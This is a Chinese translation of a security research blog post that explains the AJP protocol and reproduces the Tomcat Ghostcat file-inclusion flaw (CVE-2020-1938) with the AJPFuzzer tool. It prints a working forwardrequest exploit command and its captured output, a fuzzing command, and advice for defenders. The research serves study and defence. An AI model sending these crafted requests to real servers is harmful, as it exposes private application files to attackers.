深入解析AJP协议与Ghostcat漏洞复现

本文详细介绍了Apache JServ Protocol(AJP)二进制协议的工作原理及其在Web服务器与Java容器中的应用,重点分析了Ghostcat漏洞(CVE-2020-1938)的复现过程,并展示了如何使用AJPFuzzer工具进行协议测试和模糊测试。

引言

AJP(Apache JServ Protocol)是一种二进制协议,于1997年开发,旨在提高传统HTTP/1.1协议的性能,特别是在代理Web服务器和J2EE容器之间的HTTP流量时。该协议最初是为了高效管理从服务器A转发请求到服务器B时的网络吞吐量而创建的。典型用例如下图所示:

在Doyensec的一次研究周中,我研究并分析了该协议的工作原理及其在一些流行Web服务器和Java容器中的实现。该研究还旨在复现由Chaitin Tech研究人员在Tomcat中发现的臭名昭著的Ghostcat(CVE-2020-1938)漏洞,并可能发现其他类似漏洞。

Ghostcat

该漏洞影响了Apache Tomcat Java servlet容器的AJP连接器组件,允许恶意行为者从应用程序根目录执行本地文件包含。在某些情况下,此问题可能允许攻击者执行任意命令。有关Ghostcat的更多详细信息,请参阅以下博客文章:https://hackmag.com/security/apache-tomcat-rce/

通过AJP通信

早在2017年,我们的Luca Carettoni开发并发布了首批(如果不是第一个)实现Apache JServ Protocol版本1.3(ajp13)的开源库之一。在此基础上,他还开发了AJPFuzzer。本质上,这是一个基本的模糊测试工具,可以轻松发送手工制作的AJP消息、运行消息变异、测试目录遍历以及对数据包中的任意元素进行模糊测试。

通过微调,AJPFuzzer还可以用于快速复现Ghostcat漏洞。事实上,我们通过发送一个精心构造的forwardrequest请求(包括javax.servlet.include.servlet_path和javax.servlet.include.path_info Java属性)成功复现了攻击,如下所示:

1
2
3
4
5
6
$ java -jar ajpfuzzer_v0.7.jar

$ AJPFuzzer> connect 192.168.80.131 8009
connect 192.168.80.131 8009
[*] Connecting to 192.168.80.131:8009
Connected to the remote AJP13 service

连接到目标主机后,发送恶意的ForwardRequest数据包消息并验证test.xml文件的泄露:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ AJPFuzzer/192.168.80.131:8009> forwardrequest 2 "HTTP/1.1" "/" 127.0.0.1 192.168.80.131 192.168.80.131 8009 false "Cookie:test=value" "javax.servlet.include.path_info:/WEB-INF/test.xml,javax.servlet.include.servlet_path:/"

[*] Sending Test Case '(2) forwardrequest'
[*] 2022-10-13 23:02:45.648

... trimmed ...

[*] Received message type 'Send Body Chunk'
[*] Received message description 'Send a chunk of the body from the servlet container to the web server.
Content (HEX):
0x3C68656C6C6F3E646F79656E7365633C2F68656C6C6F3E0A
Content (Ascii):
<hello>doyensec</hello>
'
[*] 2022-10-13 23:02:46.859

00000000 41 42 00 1C 03 00 18 3C 68 65 6C 6C 6F 3E 64 6F AB.....<hello>do
00000010 79 65 6E 73 65 63 3C 2F 68 65 6C 6C 6F 3E 0A 00 yensec</hello>..

[*] Received message type 'End Response'
[*] Received message description 'Marks the end of the response (and thus the request-handling cycle). Reuse? Yes'
[*] 2022-10-13 23:02:46.86

服务器AJP连接器将接收具有以下结构的AJP消息:

libajp13、AJPFuzzer和Wireshark AJP13解析器的结合使得理解协议并与之交互变得更加容易。例如,AJPFuzzer中另一个值得注意的测试用例是genericfuzz。通过使用此命令,可以对AJP请求中的任意元素进行模糊测试,例如请求属性名称/值、密钥、Cookie名称/值、请求URI路径等:

1
2
3
4
5
6
$ AJPFuzzer> connect 192.168.80.131 8009
connect 192.168.80.131 8009
[*] Connecting to 192.168.80.131:8009
Connected to the remote AJP13 service

$ AJPFuzzer/192.168.80.131:8009> genericfuzz 2 "HTTP/1.1" "/" "127.0.0.1" "127.0.0.1" "127.0.0.1" 8009 false "Cookie:AAAA=BBBB" "secret:FUZZ" /tmp/listFUZZ.txt

要点

Web二进制协议的学习和逆向工程非常有趣。

对于防御者:

  • 不要在敌对网络中暴露您的AJP接口。相反,考虑切换到HTTP/2。
  • 通过启用共享密钥来保护AJP接口。在这种情况下,工作器还必须包含匹配的密钥值。

其他相关文章:

  • Windows Installer, Exploiting Custom Actions (18 Jul 2024)
  • Windows Installer EOP (CVE-2023-21800) (21 Mar 2023)
  • SSRF Cross Protocol Redirect Bypass (16 Mar 2023)
  • Diving Into Electron Web API Permissions (27 Sep 2022)
  • Apache Pinot SQLi and RCE Cheat Sheet (09 Jun 2022)
  • Regexploit: DoS-able Regular Expressions (11 Mar 2021)
  • Researching Polymorphic Images for XSS on Google Scholar (30 Apr 2020)
  • One Bug To Rule Them All: Modern Android Password Managers and FLAG_SECURE Misuse (22 Aug 2019)
  • Jackson gadgets - Anatomy of a vulnerability (22 Jul 2019)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计